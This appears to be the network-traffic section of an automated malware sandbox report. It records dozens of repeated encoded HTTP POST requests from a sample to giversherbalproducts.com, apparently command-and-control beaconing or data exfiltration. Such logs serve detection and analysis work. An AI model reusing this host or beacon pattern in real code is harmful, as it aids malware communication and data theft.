Source: global traffic	HTTP traffic detected: POST /lBawcxb5/cyQbHQclOjsWPj9+fno6BSIqDQ4RfS4GPhMQQn12eWR6endleGV/ HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/HBh5OS4KPhEaDX4zInUmIRkKJg0aICwiFRgJQn12eWR6endleGV/ HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/PA8IAXYfekJ9dnlkenp3ZXhlfw== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/cyQbHQclOjsWPj9+fno6BSIqDQ4RfS4GPhMQQn12eWR6endleGV/ HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/In19HiAhAiA8DHJzAh58HDkCASt4IAA5GEJ7cn5henxzYn1leQ== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/PA8IAXYfekJ9dnlkenp3ZXhlfw== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/Gzk8CR0kCUJ9dnlkenp3ZXhlfw== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/In19HiAhAiA8DHJzAh58HDkCASt4IAA5GEJ7cn5henxzYn1leQ== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/JQ97PA4nI3IBJH06MhYrCggCC0Z6c3lifn1yZX5heA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/Chk4ARV9Px4pBwEgcxk7fTkYGQBCe3J+YXp8c2J9ZXk= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/Gzk8CR0kCUJ9dnlkenp3ZXhlfw== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/eyU+JSclAQELJSA8KhwYJCYxLyceGSYGRnpzeWJ+fXJlfmF4 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/JQ97PA4nI3IBJH06MhYrCggCC0Z6c3lifn1yZX5heA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/Ix4mKg4eARIvJC8BCXUfOyw5ekZ6c3lifn1yZX5heA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/Chk4ARV9Px4pBwEgcxk7fTkYGQBCe3J+YXp8c2J9ZXk= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/ICguHncbARsgBD8NCSA2Bx8nL0Z6c3lifn1yZX5heA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/eyU+JSclAQELJSA8KhwYJCYxLyceGSYGRnpzeWJ+fXJlfmF4 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/CgUMFCMvGnwBGQEBJH59MQIoRX5yeGV9eXNkeWJ8 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/Ix4mKg4eARIvJC8BCXUfOyw5ekZ6c3lifn1yZX5heA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/cwsCBX9zQ3p1fWV7fXRheWR4 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/ICguHncbARsgBD8NCSA2Bx8nL0Z6c3lifn1yZX5heA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/CgUMFCMvGnwBGQEBJH59MQIoRX5yeGV9eXNkeWJ8 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/cwsCBX9zQ3p1fWV7fXRheWR4 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/cxMTCDUBQ3p1fWV7fXRheWR4 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/cxMTCDUBQ3p1fWV7fXRheWR4 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/JSYFABYMeX4fPh8NPyUpGxgDRX5yeGV9eXNkeWJ8 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/JSYFABYMeX4fPh8NPyUpGxgDRX5yeGV9eXNkeWJ8 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/JA05KwQ6fAYuRnpzeWJ+fXJlfmF4 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/JA05KwQ6fAYuRnpzeWJ+fXJlfmF4 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/OBkTOjZ9egYmOC4ZKQd8ej4xfXsOKAp9BAx5Qn12eWR6endleGV/ HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/OBkTOjZ9egYmOC4ZKQd8ej4xfXsOKAp9BAx5Qn12eWR6endleGV/ HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/BhkNKwsmJC0BOCosGDgCIilCfXZ5ZHp6d2V4ZX8= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/BhkNKwsmJC0BOCosGDgCIilCfXZ5ZHp6d2V4ZX8= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/BhoIPS4pMD87egB7Lgh9cwEiInsmBzMnLAUQJUV+cnhlfXlzZHlifA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/BhoIPS4pMD87egB7Lgh9cwEiInsmBzMnLAUQJUV+cnhlfXlzZHlifA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/OSl9RX5yeGV9eXNkeWJ8 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/AhIaKCwxEn8qPXsYQn12eWR6endleGV/ HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/PyM9GiM9IQJ/HHodGDQ1MT5CfXZ5ZHp6d2V4ZX8= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/DRM6CwovIR08KgAtAy0Ffhp6RX5yeGV9eXNkeWJ8 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/OSl9RX5yeGV9eXNkeWJ8 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
